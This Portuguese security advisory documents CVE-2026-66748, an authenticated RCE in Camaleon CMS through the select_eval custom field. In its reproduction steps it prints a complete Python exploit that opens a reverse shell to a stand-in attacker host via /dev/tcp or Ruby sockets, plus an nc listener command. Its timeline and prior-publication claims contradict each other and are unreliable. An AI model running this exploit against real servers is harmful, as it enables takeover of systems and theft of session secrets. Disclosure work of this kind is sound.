Voltar às atualizações
UpdatedAug 5, 2026

CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field — Updated!

Advisory de Segurança: Camaleon CMS - RCE autenticado via campo personalizado `select_eval`

Compartilhar

Advisory de Segurança: Camaleon CMS - RCE Autenticado via Campo Personalizado select_eval

ID de CVE atribuído: CVE-2026-66748

Produto: Camaleon CMS (https://github.com/owen2345/camaleon-cms) Versões afetadas: 2.1.1 – 2.9.1 (commit que introduziu: 415cbda6 2015-10-16; commit que corrigiu: 15882366 2026-03-29 / v2.9.2) Severidade: Alta Pontuação CVSS 4.0: 8.7 Vetor CVSS 4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L CWE: CWE-94 (Injeção de Código) Pesquisador: Theodosis Paidakis Fornecedor notificado: 2026-06-21 Advisory relacionado: GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9 (label_eval — tipo de campo paralelo, mesma causa raiz, sem CVE atribuído)

Resumo

O tipo de campo personalizado select_eval armazena uma expressão Ruby arbitrária em field.options[:command] e a executa via instance_eval em uma view ERB sempre que uma página de edição de post é renderizada. Antes da v2.9.2, qualquer usuário com a permissão de gerenciamento custom_fields — comumente concedida a contas com perfil de editor — podia criar esse tipo de campo e obter RCE no servidor. Um campo select_eval é acionado a cada renderização de página de qualquer post que use o grupo de campos; sua saída se torna a lista de opções do dropdown. A vulnerabilidade foi corrigida na v2.9.2.

Componente Afetado

Arquivo: app/views/camaleon_cms/admin/settings/custom_fields/fields/_select_eval.html.erb

<%= select_tag "#{field_name}[#{field.slug}][values][]",
      instance_eval(field.options[:command].to_s.strip),
      class: "..." %>

instance_eval é chamado com a string bruta do registro do banco de dados. Não há sandboxing nem restrição em tempo de compilação sobre quais métodos ou constantes estão acessíveis a partir do binding ERB (que é um contexto completo de view do Rails).

Arquivo: app/models/camaleon_cms/ability.rb (v2.9.1, linhas 161-165)

custom_fields nunca é concedida explicitamente. Oito recursos recebem can :manage individualmente mais acima no arquivo (media, comments, themes, widgets, nav_menu, plugins, users, settings), e custom_fields não é um deles. Ela só é alcançável por meio deste catch-all, que concede manage a qualquer chave presente no hash @roles_manager do perfil sem verificar se essa chave é segura de ser concedida:

@roles_manager.try(:each) do |rol_manage_key, val_role|
  can :manage, rol_manage_key.to_sym if val_role.to_s.cama_true?
rescue StandardError
  false
end

Portanto, qualquer usuário cujo perfil tenha o bit custom_fields ativo chega ao controller de campos personalizados. Na faixa afetada, esse bit é rotineiramente concedido a perfis de nível editor.

A reescrita na v2.9.2 substitui can por um wrapper safe_can e adiciona uma lista explícita %i[...] contendo tanto custom_fields quanto select_eval, mas o loop catch-all acima ainda existe nessa versão. A lista de permissões não é o que corrige este problema; a allowlist de strong parameters em custom_fields_controller.rb e a verificação can?(:manage, :select_eval) em custom_field_group.rb são.

Análise da Causa Raiz

O tipo de campo select_eval foi projetado para permitir que desenvolvedores preencham dinamicamente dropdowns de seleção a partir de código Ruby armazenado no banco de dados do CMS. Executar Ruby arbitrário de uma coluna do banco de dados via instance_eval equivale a conceder acesso ao shell a qualquer pessoa que possa escrever esse valor. O requisito de permissão era custom_fields — uma permissão rotineira de gerenciamento de conteúdo — em vez de um bit privilegiado explícito.

Relação com Advisories Anteriores

Esta descoberta foi publicada como GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9, abrangendo um tipo de campo paralelo label_eval no Camaleon CMS. Esse advisory fazia parte de um lote de cinco descobertas (GHSL-2024-182 a GHSL-2024-186); apenas duas das cinco receberam números de CVE (CVE-2024-46986 e CVE-2024-46987). O GHSL-2024-185 em si não possui CVE atribuído.

select_eval e label_eval compartilham a mesma causa raiz — Ruby arbitrário armazenado no banco de dados executado via instance_eval em uma view ERB —, mas são distintos em todas as outras dimensões:

label_eval (GHSL-2024-185)select_eval (este relatório)
Local de execuçãoRótulo do campo em qualquer formulárioselect_tag na página de edição de post
Caminho de escritaTexto do rótulo do campo personalizadolinha meta field.options[:command]

Este relatório cobre exclusivamente select_eval. Nenhum CVE ou advisory público existente documenta esse tipo de campo específico e seu caminho de exploração.

Passos para Reproduzir

A faixa afetada v2.1.1 a v2.9.1 foi determinada por análise de código-fonte; a exploração foi confirmada de ponta a ponta na v2.9.1. Requer apenas uma conta com permissão custom_fields — sem acesso ao servidor.

Pré-requisitos: Qualquer conta com o bit de gerenciamento custom_fields ativo — uma permissão padrão de perfil de editor na faixa afetada.

Passo 1. Inicie um listener:

nc -lnvp 4444

Passo 2. Execute o script. Edite BASE, ATTACKER_IP, TYPE_ID, POST_ID e as credenciais.

TYPE_ID — ID do tipo de post visível na URL da barra lateral do admin (ex.: /admin/post_type/2/posts). POST_ID — qualquer ID de post sob esse tipo, a partir dos links de edição da lista de posts.

import requests, re, time

BASE        = "http://target.example"
ATTACKER_IP = "ATTACKER_IP"
PORT        = 4444
TYPE_ID     = 2    # post type ID - from admin sidebar URL
POST_ID     = 1    # any post under that type - from post list edit links
USERNAME    = "editor"       # any account with custom_fields manage permission
PASSWORD    = "Editor1234!"

# Reverse shell. Thread.new keeps the page render from hanging.
# Payload strings must use double quotes so #{ } interpolation executes inside instance_eval.
PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{system("bash -i >& /dev/tcp/{ATTACKER_IP}/{PORT} 0>&1")}}}}'
# No-bash alternative (pure Ruby sockets, cross-platform):
# PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{require "socket";s=TCPSocket.open("{ATTACKER_IP}",{PORT});loop{{cmd=s.gets.chomp;s.puts(`#{{cmd}}`)}}}}}}' 
# Proof-of-concept (non-destructive - id/hostname appear in select dropdown on the edit page):
# PAYLOAD = '[["id: #{`id`.strip}", "v"], ["host: #{`hostname`.strip}", "h"]]'

s = requests.Session()

r    = s.get(f"{BASE}/admin/login")
csrf = re.search(r'authenticity_token" value="([^"]+)"', r.text).group(1)
s.post(f"{BASE}/admin/login", data={
    "authenticity_token": csrf,
    "user[username]": USERNAME,
    "user[password]": PASSWORD,
})
r    = s.get(f"{BASE}/admin/dashboard")
csrf = re.search(r'csrf-token" content="([^"]+)"', r.text).group(1)

idx = f"x{int(time.time())}"
r = s.post(f"{BASE}/admin/settings/custom_fields", data={
    "authenticity_token":               csrf,
    "custom_field_group[name]":         f"exploit_{idx}",
    "custom_field_group[assign_group]": f"PostType_Post,{TYPE_ID}",  # must be PostType_Post, not PostType
    f"fields[{idx}][name]":             "Shell",
    f"fields[{idx}][slug]":             f"rce_{idx}",
    f"field_options[{idx}][field_key]": "select_eval",
    f"field_options[{idx}][command]":   PAYLOAD,   # permit! passes this through unfiltered pre-v2.9.2
}, allow_redirects=True)

gid = re.search(r'/custom_fields/(\d+)', r.url)
print(f"Field group: id={gid.group(1) if gid else '?'} (HTTP {r.status_code})")

# Trigger: instance_eval fires when the edit form renders the select_eval field
r = s.get(f"{BASE}/admin/post_type/{TYPE_ID}/posts/{POST_ID}/edit")
print(f"Edit page: HTTP {r.status_code} - check listener")
image

Impacto

Qualquer conta com permissão custom_fields (antes da v2.9.2) obtém:

  • Execução arbitrária de Ruby no processo Rails, com os privilégios do usuário do servidor web (deploy, www-data, rails, etc.)
  • Execução persistente: o payload é acionado a cada renderização de página de todo post que use o grupo de campos — não é uma exploração de uma única vez
  • Falsificação de sessão: ler secret_key_base de config/secrets.yml permite forjar cookies de sessão arbitrários para qualquer usuário, incluindo administradores
  • Impacto multi-site: em uma instância Camaleon compartilhada, o processo Rails tem acesso aos dados de todos os sites

Antes da v2.9.2, a permissão custom_fields era rotineiramente concedida a usuários com perfil de editor. Um atacante que comprometa qualquer conta de nível editor alcança RCE total no servidor.

Cronologia

2026-06-19 — Descoberto durante análise de código-fonte das versões v2.9.2 e v2.9.1 2026-06-21 — Fornecedor notificado 2026-03-29 — Patch já lançado (v2.9.2, commit 15882366)

Categorias